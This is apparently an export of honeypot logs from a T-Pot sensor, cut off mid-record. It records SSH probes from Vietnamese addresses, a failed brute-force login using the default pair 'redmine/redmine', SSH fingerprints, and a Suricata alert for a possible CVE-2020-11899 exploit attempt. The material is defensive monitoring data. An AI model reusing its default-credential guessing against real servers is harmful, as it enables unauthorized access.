24468	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:45.516846+03	2021-09-20 14:15:08.834472+03	{"_id": "bAbkAnwBvYTbRNuE4BMp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [redmine/redmine] failed", "session": "6403eef19224", "@version": "1", "password": "redmine", "username": "redmine", "timestamp": "2021-09-20T11:08:45.516846Z", "@timestamp": "2021-09-20T11:08:45.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24469	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:45.855902+03	2021-09-20 14:15:08.8365+03	{"_id": "bQbkAnwBvYTbRNuE4BMp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9c892865c6e1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:45.855902Z", "@timestamp": "2021-09-20T11:08:45.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24470	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:45.997218+03	2021-09-20 14:15:08.837508+03	{"_id": "bgbkAnwBvYTbRNuE4BMp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "739764ead67a", "@version": "1", "duration": 2.823530912399292, "timestamp": "2021-09-20T11:08:45.997218Z", "@timestamp": "2021-09-20T11:08:45.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24471	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:46.872945+03	2021-09-20 14:15:08.8385+03	{"_id": "cAbkAnwBvYTbRNuE4hOD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1120174375626448, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 32860, "dest_port": 22, "timestamp": "2021-09-20T11:08:46.872945Z", "@timestamp": "2021-09-20T11:08:46.872Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24472	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:46.460986+03	2021-09-20 14:15:08.839502+03	{"_id": "dwbkAnwBvYTbRNuE4xNz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59508, "timestamp": "2021-09-20T11:08:46.460986", "@timestamp": "2021-09-20T11:08:46.460Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24498	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:54.223269+03	2021-09-20 14:15:08.875469+03	{"_id": "RwbkAnwBvYTbRNuE_xRx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "4120b0ae7e72", "@version": "1", "duration": 4.014135360717773, "timestamp": "2021-09-20T11:08:54.223269Z", "@timestamp": "2021-09-20T11:08:54.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24473	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:46.763852+03	2021-09-20 14:15:08.8415+03	{"_id": "fQbkAnwBvYTbRNuE4xNz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59508, "dest_port": 22, "timestamp": "2021-09-20T11:08:46.763852", "@timestamp": "2021-09-20T11:08:46.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24474	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:08:47.191062+03	2021-09-20 14:15:08.84247+03	{"_id": "nAbkAnwBvYTbRNuE5hNs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1193760050272617, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51116, "dest_port": 22, "timestamp": "2021-09-20T11:08:47.191062Z", "@timestamp": "2021-09-20T11:08:47.191Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24475	fe80:0000:0000:0000:c2ee:fbff:fedc:38af	109.199.241.180	Suricata	2021-09-20 14:08:48.432646+03	2021-09-20 14:15:08.8435+03	{"_id": "sAbkAnwBvYTbRNuE6hNV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:48.432646+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:c2ee:fbff:fedc:38af", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1218202709301766, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:08:48.432646Z", "@timestamp": "2021-09-20T11:08:48.432Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
24476	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:49.192773+03	2021-09-20 14:15:08.8455+03	{"_id": "sgbkAnwBvYTbRNuE6xNG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35420, "timestamp": "2021-09-20T11:08:49.192773", "@timestamp": "2021-09-20T11:08:49.192Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24482	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:40.347801+03	2021-09-20 14:15:08.854507+03	{"_id": "1gbkAnwBvYTbRNuEyxL9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42582, "dest_port": 22, "timestamp": "2021-09-20T11:08:40.347801", "@timestamp": "2021-09-20T11:08:40.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24477	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:38.65037+03	2021-09-20 14:15:08.8465+03	{"_id": "iQbkAnwBvYTbRNuExBIs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34040, "timestamp": "2021-09-20T11:08:38.650370", "@timestamp": "2021-09-20T11:08:38.650Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24478	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:38.961147+03	2021-09-20 14:15:08.848471+03	{"_id": "igbkAnwBvYTbRNuExBIs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 